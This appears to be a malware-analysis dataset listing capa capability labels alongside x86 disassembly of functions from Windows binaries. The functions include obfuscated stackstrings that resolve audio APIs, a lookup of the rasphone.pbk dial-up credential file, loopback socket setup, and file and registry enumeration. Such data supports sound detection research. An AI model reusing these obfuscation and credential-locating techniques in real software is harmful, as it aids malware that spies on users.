joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4f7440
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Get local ipv4 addresses
Get socket information
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration
Start tcp server

Disassembly:
sub esp, 0x30
push esi
mov esi, dword [sym.imp.WS2_32.dll_socket]
push edi
push 6
push 1
push 2
mov dword [esp + 0x18], 0x10
mov dword [esp + 0x14], 1
call esi
mov edi, eax
cmp edi, 0xffffffff
jne 0x4f7472
pop edi
or eax, eax
pop esi
add esp, 0x30
ret
xor eax, eax
mov dword [esp + 0x10], eax
push ebx
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov eax, 2
push 0x7f000001
mov word [esp + 0x18], ax
call dword [sym.imp.WS2_32.dll_htonl]
mov ebx, dword [esp + 0x4c]
mov dword [esp + 0x18], eax
xor eax, eax
push 4
mov word [esp + 0x1a], ax
lea eax, [esp + 0x10]
push eax
push 4
push 0xffff
push edi
mov dword [ebx + 4], 0xffffffff
mov dword [ebx], 0xffffffff
call dword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x4f7607
push 0x10
lea eax, [esp + 0x18]
push eax
push edi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x4f7607
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x18]
push eax
push edi
call dword [sym.imp.WS2_32.dll_getsockname]
cmp eax, 0xffffffff
je 0x4f7607
push 1
push edi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
je 0x4f7607
push 0
push 1
push 2
call esi
mov dword [ebx], eax
cmp eax, 0xffffffff
je 0x4f7607
push 0x10
lea ecx, [esp + 0x18]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x4f7607
push 0
push 0
push edi
call dword [sym.imp.WS2_32.dll_accept]
mov dword [ebx + 4], eax
cmp eax, 0xffffffff
je 0x4f7607
push ebx
push 0x534910
lea eax, [esp + 0x2c]
push 0xc
push eax
call fcn.004eadc0
lea esi, [esp + 0x34]
add esp, 0x10
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x4f7574
push 0
sub esi, ecx
lea eax, [esp + 0x28]
push esi
push eax
push dword [ebx]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, esi
jne 0x4f7607
push 0
push 0xc
lea eax, [esp + 0x38]
push eax
push dword [ebx + 4]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, esi
jne 0x4f7607
lea ecx, [esp + 0x24]
lea edx, [esp + 0x30]
sub esi, 4
jb 0x4f75c5
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x4f75ca
add ecx, 4
add edx, 4
sub esi, 4
jae 0x4f75b4
cmp esi, 0xfffffffc
je 0x4f75f7
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x4f7607
cmp esi, 0xfffffffd
je 0x4f75f7
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x4f7607
cmp esi, 0xfffffffe
je 0x4f75f7
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x4f7607
cmp esi, 0xffffffff
je 0x4f75f7
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
jne 0x4f7607
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
pop ebx
pop edi
xor eax, eax
pop esi
add esp, 0x30
ret
mov esi, dword [sym.imp.WS2_32.dll_closesocket]
push edi
call esi
push dword [ebx]
call esi
push dword [ebx + 4]
call esi
pop ebx
pop edi
or eax, 0xffffffff
pop esi
add esp, 0x30
ret
Function at 0x502a00
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
cmp dword [0x9d930c], 0
push ebx
push esi
mov esi, 0x9d9314
jne 0x502a2c
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
push esi
mov dword [0x9d932c], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x9d930c], 1
push dword [0x9d932c]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebx, eax
test ebx, ebx
jne 0x502ac9
push 0x14
push 8
push dword [0x9d78b4]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x502af3
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x9d9310]
test eax, eax
je 0x502a6e
mov dword [eax], ebx
push edi
push esi
mov dword [ebx + 4], eax
mov dword [0x9d9310], ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea edi, [ebx + 0x10]
push 0
push 0
push 0x100000
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 8
push 0xffffffffffffffff
push ebx
push 0x502af8
push dword [edi]
lea eax, [ebx + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
push ebx
push dword [0x9d932c]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop edi
push 0xc
push 0
push dword [0x9d78b4]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x502af3
mov ecx, dword [esp + 0xc]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x10]
mov dword [eax + 8], ecx
mov ecx, dword [ebx + 8]
mov dword [eax], ecx
mov dword [ebx + 8], eax
pop esi
pop ebx
ret 8
Function at 0x40377f
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x9c]
sub esp, 0x11c
mov eax, dword [0x420030]
xor eax, ebp
mov dword [ebp + 0x98], eax
mov eax, dword [ebp + 0xa4]
push ebx
push esi
push edi
mov edi, dword [sym.imp.advapi32.dll_RegEnumKeyA]
mov esi, 0x104
push esi
lea ecx, [ebp - 0x6c]
push ecx
xor ebx, ebx
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0xa8]
push ebx
push eax
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ebx
call edi
test eax, eax
jne 0x403822
mov eax, dword [ebp - 0x80]
push dword [eax + 8]
inc dword [ebp - 0x74]
lea eax, [ebp - 0x6c]
push eax
call fcn.004154a5
pop ecx
pop ecx
test eax, eax
je 0x40380b
test ebx, ebx
je 0x4037ff
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.004154a5
pop ecx
pop ecx
test eax, eax
jle 0x40380b
push ebx
call fcn.0040473f
pop ecx
lea eax, [ebp - 0x6c]
push eax
call fcn.0040471e
pop ecx
mov ebx, eax
push esi
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x74]
push dword [ebp - 0x78]
call edi
test eax, eax
je 0x4037cc
xor edi, edi
cmp ebx, edi
jne 0x403826
xor eax, eax
jmp 0x403892
lea eax, [ebp - 0x70]
push eax
push 0x20019
push edi
push ebx
push dword [ebp - 0x78]
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
push ebx
test eax, eax
je 0x403855
call fcn.0040473f
pop ecx
cmp dword [ebp - 0x70], edi
je 0x403822
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
jmp 0x403822
call fcn.0040473f
pop ecx
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x6c]
push eax
push edi
push edi
push str.JavaHome
push dword [ebp - 0x70]
mov dword [ebp - 0x7c], esi
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
test eax, eax
jne 0x403845
cmp dword [ebp - 0x70], edi
je 0x403888
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
lea eax, [ebp - 0x6c]
push eax
call fcn.0040471e
pop ecx
mov ecx, dword [ebp + 0x98]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004088d9
add ebp, 0x9c
leave
ret
Function at 0x404934
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
lea ebp, [esp - 0x214]
sub esp, 0x294
mov eax, dword [0x420030]
xor eax, ebp
mov dword [ebp + 0x210], eax
mov eax, dword [ebp + 0x21c]
push ebx
push esi
push edi
push 0x10
pop edi
mov dword [ebp - 0x78], eax
call fcn.004047a1
push 8
mov esi, eax
call fcn.004046d7
mov ebx, eax
pop ecx
lea eax, [ebp + 0xd0]
push eax
push dword [ebp - 0x78]
mov dword [ebp - 0x80], ebx
call dword [sym.imp.kernel32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x40499f
mov dword [ebx], eax
lea eax, [ebp + 0xfc]
mov dword [ebx + 4], eax
mov edi, dword [ebx + 4]
test edi, edi
je 0x4049a6
and dword [ebx + 4], 0
jmp 0x4049bb
xor eax, eax
jmp 0x404a86
lea eax, [ebp - 0x70]
push eax
push dword [ebx]
call dword [sym.imp.kernel32.dll_FindNextFileA]
neg eax
sbb edi, edi
lea eax, [ebp - 0x44]
and edi, eax
test edi, edi
je 0x404a6c
push edi
call fcn.00408090
pop ecx
cmp eax, 4
jl 0x404992
add eax, edi
cmp byte [eax - 4], 0x2e
jne 0x404992
add eax, 0xfffffffd
push 0x4197b4
push eax
mov dword [ebp - 0x74], eax
call fcn.004088f0
pop ecx
pop ecx
test eax, eax
je 0x404a01
push 0x4197b0
push dword [ebp - 0x74]
call fcn.004088f0
pop ecx
pop ecx
test eax, eax
jne 0x404992
push 0x3b
push edi
call fcn.004097a0
pop ecx
pop ecx
test eax, eax
jne 0x404992
push dword [ebp - 0x78]
call fcn.00408090
push edi
mov ebx, eax
call fcn.00408090
mov dword [ebp - 0x74], eax
add eax, ebx
push eax
call fcn.004046d7
lea ecx, [ebx - 1]
push ecx
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], eax
push eax
call fcn.004154a5
mov eax, dword [ebp - 0x74]
inc eax
push eax
push edi
mov edi, dword [ebp - 0x7c]
lea eax, [edi + ebx - 1]
push eax
call fcn.004154a5
mov ecx, dword [esi + 4]
add esp, 0x24
inc ecx
call fcn.004047f7
mov eax, dword [esi + 4]
mov ecx, dword [esi]
mov ebx, dword [ebp - 0x80]
mov dword [ecx + eax*4], edi
inc dword [esi + 4]
jmp 0x404992
push dword [ebx]
call dword [sym.imp.kernel32.dll_FindClose]
push dword [ebx + 4]
call fcn.0040473f
push ebx
call fcn.0040473f
pop ecx
pop ecx
mov eax, esi
mov ecx, dword [ebp + 0x210]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004088d9
add ebp, 0x214
leave
ret

Function at 0x4088d9
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x420030]
jne 0x4088e3
repz ret
jmp fcn.00410778
Function at 0x10001090
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
mov esi, ecx
mov cl, 0x6c
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov al, 0x65
mov byte [esp + 0x21], cl
mov byte [esp + 0x26], cl
mov byte [esp + 0x27], cl
mov cl, 0x74
mov byte [esp + 0x1d], al
mov byte [esp + 0x20], al
mov byte [esp + 0xe], al
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov byte [esp + 0x10], cl
mov byte [esp + 0x16], cl
lea eax, [esp + 0xc]
push edi
lea ecx, [esp + 0x20]
mov dl, 0x6e
xor ebx, ebx
push eax
push ecx
mov dword [esi], 0x1001a1b0
mov byte [esp + 0x28], 0x6b
mov byte [esp + 0x2a], 0x72
mov byte [esp + 0x2b], dl
mov byte [esp + 0x2e], 0x33
mov byte [esp + 0x2f], 0x32
mov byte [esp + 0x30], 0x2e
mov byte [esp + 0x31], 0x64
mov byte [esp + 0x34], bl
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], 0x72
mov byte [esp + 0x1b], 0x61
mov byte [esp + 0x1e], 0x45
mov byte [esp + 0x1f], 0x76
mov byte [esp + 0x21], dl
mov byte [esp + 0x23], 0x41
mov byte [esp + 0x24], bl
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.WINMM.dll
mov edi, eax
call ebp
push ebx
push ebx
push ebx
push ebx
mov dword [0x10020274], eax
call edi
push ebx
push ebx
push ebx
push ebx
mov dword [esi + 0x24], eax
call edi
mov dword [esi + 0x28], eax
mov dword [esi + 0x2c], ebx
mov dword [esi + 0x1c], ebx
mov dword [esi + 0x20], ebx
mov dword [esi + 4], 0x3e8
mov byte [esi + 0x44], bl
mov byte [esi + 0x45], bl
lea edi, [esi + 0x30]
mov ebp, 2
mov edx, dword [esi + 4]
push edx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push 0x20
mov dword [edi - 0x28], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [edi], eax
mov eax, dword [esi + 4]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push 0x20
mov dword [edi - 0x20], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [edi + 8], eax
add esp, 0x10
add edi, 4
dec ebp
jne 0x10001174
lea eax, [esi + 0x46]
xor ecx, ecx
mov edx, eax
pop edi
mov dword [edx], ecx
mov dword [edx + 4], ecx
mov dword [edx + 8], ecx
mov dword [edx + 0xc], ecx
mov dword [edx + 0x10], ecx
mov word [eax], 0x31
mov word [esi + 0x48], 1
mov dword [esi + 0x4a], 0x1f40
mov dword [esi + 0x4e], 0x659
mov word [esi + 0x52], 0x41
mov word [esi + 0x54], bx
mov word [esi + 0x56], 2
mov word [esi + 0x58], 0x140
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
Function at 0x10001a80
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x40
push ebx
push ebp
mov ebp, ecx
push esi
mov ecx, dword [0x10020274]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [esp + 0x20]
push edi
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x2c], 0x77
mov byte [esp + 0x2d], 0x61
mov byte [esp + 0x2e], 0x76
mov byte [esp + 0x2f], bl
mov byte [esp + 0x30], 0x4f
mov byte [esp + 0x31], 0x75
mov byte [esp + 0x32], 0x74
mov byte [esp + 0x33], 0x47
mov byte [esp + 0x34], bl
mov byte [esp + 0x35], 0x74
mov byte [esp + 0x36], 0x4e
mov byte [esp + 0x37], 0x75
mov byte [esp + 0x38], 0x6d
mov byte [esp + 0x39], 0x44
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], 0x76
mov byte [esp + 0x3c], 0x73
mov byte [esp + 0x3d], 0
call esi
call eax
test eax, eax
jne 0x10001b06
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x40
ret
lea edx, [ebp + 0x10]
mov dword [esp + 0x14], 2
mov dword [esp + 0x10], edx
mov edx, dword [esp + 0x10]
mov ecx, dword [ebp + 4]
xor eax, eax
mov edi, dword [edx]
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
add ecx, 4
dec eax
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
jne 0x10001b15
mov ecx, dword [0x10020274]
lea eax, [esp + 0x18]
push eax
push ecx
mov byte [esp + 0x20], 0x77
mov byte [esp + 0x21], 0x61
mov byte [esp + 0x22], 0x76
mov byte [esp + 0x23], bl
mov byte [esp + 0x24], 0x4f
mov byte [esp + 0x25], 0x75
mov byte [esp + 0x26], 0x74
mov byte [esp + 0x27], 0x4f
mov byte [esp + 0x28], 0x70
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], 0x6e
mov byte [esp + 0x2b], 0
call esi
push 0
push 0
lea edx, [ebp + 0x46]
push 0
lea edi, [ebp + 0x40]
push edx
push 0xffff
push edi
call eax
test eax, eax
je 0x10001baf
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x40
ret
mov ecx, dword [0x10020274]
mov al, 0x72
mov byte [esp + 0x40], al
mov byte [esp + 0x44], al
mov byte [esp + 0x4b], al
lea eax, [esp + 0x38]
push eax
push ecx
mov byte [esp + 0x40], 0x77
mov byte [esp + 0x41], 0x61
mov byte [esp + 0x42], 0x76
mov byte [esp + 0x43], bl
mov byte [esp + 0x44], 0x4f
mov byte [esp + 0x45], 0x75
mov byte [esp + 0x46], 0x74
mov byte [esp + 0x47], 0x50
mov byte [esp + 0x49], bl
mov byte [esp + 0x4a], 0x70
mov byte [esp + 0x4b], 0x61
mov byte [esp + 0x4d], bl
mov byte [esp + 0x4e], 0x48
mov byte [esp + 0x4f], bl
mov byte [esp + 0x50], 0x61
mov byte [esp + 0x51], 0x64
mov byte [esp + 0x52], bl
mov byte [esp + 0x54], 0
call esi
mov dword [esp + 0x14], eax
lea esi, [ebp + 0x38]
mov ebx, 2
mov edx, dword [esi]
mov eax, dword [esi - 0x28]
push 0x20
mov dword [edx], eax
mov ecx, dword [esi]
mov edx, dword [ebp + 4]
xor eax, eax
mov dword [ecx + 4], edx
mov ecx, dword [esi]
mov dword [ecx + 0x10], eax
mov edx, dword [esi]
mov dword [edx + 0x14], eax
mov eax, dword [esi]
mov ecx, dword [edi]
push eax
push ecx
call dword [esp + 0x20]
add esi, 4
dec ebx
jne 0x10001c2c
mov al, 1
pop edi
mov byte [ebp + 0x45], al
pop esi
pop ebp
pop ebx
add esp, 0x40
ret
Function at 0x10001eb0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0xffffffffffffffff
push 0x100198ab
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push esi
mov esi, ecx
push str.WINMM.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov cl, 0x65
mov dl, 0x76
mov byte [esp + 0xb], cl
mov byte [esp + 0xf], cl
mov byte [esp + 0x15], cl
lea ecx, [esp + 8]
push ecx
push eax
mov byte [esp + 0x10], 0x77
mov byte [esp + 0x11], 0x61
mov byte [esp + 0x12], dl
mov byte [esp + 0x14], 0x49
mov byte [esp + 0x15], 0x6e
mov byte [esp + 0x16], 0x47
mov byte [esp + 0x18], 0x74
mov byte [esp + 0x19], 0x4e
mov byte [esp + 0x1a], 0x75
mov byte [esp + 0x1b], 0x6d
mov byte [esp + 0x1c], 0x44
mov byte [esp + 0x1e], dl
mov byte [esp + 0x1f], 0x73
mov byte [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
test eax, eax
jne 0x10001f4e
xor al, al
pop esi
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
add esp, 0x24
ret
mov al, byte [0x10020278]
test al, al
je 0x10001f69
xor al, al
pop esi
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
add esp, 0x24
ret
push 0x5c
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [esp + 4], eax
test eax, eax
mov dword [esp + 0x24], 0
je 0x10001f8c
mov ecx, eax
call fcn.10001090
jmp 0x10001f8e
xor eax, eax
mov ecx, dword [esp + 0x1c]
mov dword [esi + 0x10], eax
mov al, 1
pop esi
mov byte [0x10020278], al
mov dword fs:[0], ecx
add esp, 0x24
ret
Function at 0x10002500
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x100198f8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1b8
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
lea ecx, [esi + 4]
call fcn.100020b0
xor ebx, ebx
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1d0], ebx
call fcn.100020b0
lea ecx, [esi + 0x54]
mov byte [esp + 0x1d0], 1
call fcn.100020b0
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1d0], 2
call fcn.100020b0
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x2d], cl
mov byte [esp + 0x32], cl
mov byte [esp + 0x33], cl
mov cl, 0x74
mov byte [esp + 0x29], al
mov byte [esp + 0x2c], al
mov byte [esp + 0x1a], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x20], al
mov byte [esp + 0x1c], cl
mov byte [esp + 0x22], cl
lea eax, [esp + 0x18]
lea ecx, [esp + 0x28]
mov dl, 0x6e
push eax
push ecx
mov byte [esp + 0x1d8], 3
mov dword [esi], 0x1001a1c8
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x32], 0x72
mov byte [esp + 0x33], dl
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3c], bl
mov byte [esp + 0x20], 0x43
mov byte [esp + 0x21], 0x72
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x26], 0x45
mov byte [esp + 0x27], 0x76
mov byte [esp + 0x29], dl
mov byte [esp + 0x2b], 0x41
mov byte [esp + 0x2c], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esp + 0x38]
mov edi, eax
push edx
push 0x202
call dword [0x1002025c]
mov ebp, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call ebp
add esp, 4
push ebx
push ebx
push 1
push ebx
call edi
push 0x30
mov dword [esi + 0xac], eax
call ebp
add esp, 4
mov byte [esi + 0xb5], bl
mov dword [esi + 0xa8], 0xffffffff
mov byte [esp + 0x10], 0x54
mov byte [esp + 0x11], 0x79
mov byte [esp + 0x12], 0x6a
mov byte [esp + 0x13], 0x68
mov edx, dword [esp + 0x10]
lea ecx, [esi + 0xb0]
mov al, 0x75
pop edi
mov dword [ecx], edx
mov byte [ecx + 4], al
mov ecx, dword [esp + 0x1c4]
mov eax, esi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c4
ret
Function at 0x100045e0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x220
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x20]
push 0x105
mov esi, ecx
push eax
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.Documents_and_Settings_
lea ecx, [esp + 0x24]
push 0x5c
push ecx
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
inc eax
push eax
call dword [0x10020290]
mov edx, dword [esi + 0x14]
lea eax, [esp + 0x20]
push edx
push eax
call dword [0x1002028c]
lea ecx, [esp + 0x20]
push str.Application_DataMicrosoftNetworkConnectionspbk_rasphone.pbk
push ecx
call dword [0x1002028c]
push 0
lea edx, [esp + 0x12c]
push 0x23
push edx
push 0
call dword [0x100201cc]
lea eax, [esp + 0x128]
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
push eax
lea ecx, [esp + 0x130]
push str._s_s
push ecx
call dword [0x100201f8]
lea edx, [esp + 0x30]
lea eax, [esp + 0x138]
push 0x1000
mov dword [esp + 0x2c], edx
mov dword [esp + 0x30], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 0x14
mov ebx, eax
lea ebp, [esp + 0x18]
mov dword [esp + 0x14], 2
mov ecx, 0x400
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
mov ecx, dword [ebp]
push ecx
push 0x1000
push ebx
call dword [0x10020298]
mov al, byte [ebx]
mov esi, ebx
test al, al
je 0x100046de
mov edx, dword [esp + 0x10]
push esi
inc edx
mov dword [esp + 0x14], edx
call dword [0x10020294]
lea esi, [esi + eax + 1]
cmp byte [esi], 0
jne 0x100046c5
mov eax, dword [esp + 0x14]
add ebp, 4
dec eax
mov dword [esp + 0x14], eax
jne 0x100046a2
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [esp + 0x14]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x220
ret
Function at 0x100057e0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001a1f0
push 0x100192b8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x10005957
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x10005897
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x10005897
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10005872
cmp al, 0x5c
je 0x10005872
push esi
call dword [0x100202ac]
mov esi, eax
jmp 0x1000585a
cmp byte [esi], 0
je 0x1000587b
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10005890
cmp al, 0x5c
je 0x10005890
push esi
call dword [0x100202ac]
mov esi, eax
jmp 0x10005878
cmp byte [esi], 0
je 0x100058b6
jmp 0x100058b2
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x100058b6
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x100058b6
cmp al, 0x5c
jne 0x100058b6
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [esi]
test al, al
je 0x1000591b
cmp al, 0x5c
jne 0x1000590d
mov byte [esi], 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
jne 0x10005900
push 0
call ebx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x1000590a
push eax
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1000590a
push 0
call ebx
push edi
jmp 0x1000594e
and eax, 0x10
cmp al, 0x10
je 0x1000590a
push edi
jmp 0x1000594e
mov byte [esi], 0x5c
push esi
call dword [0x100202ac]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x100058bc
mov dword [ebp - 4], 0xffffffff
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4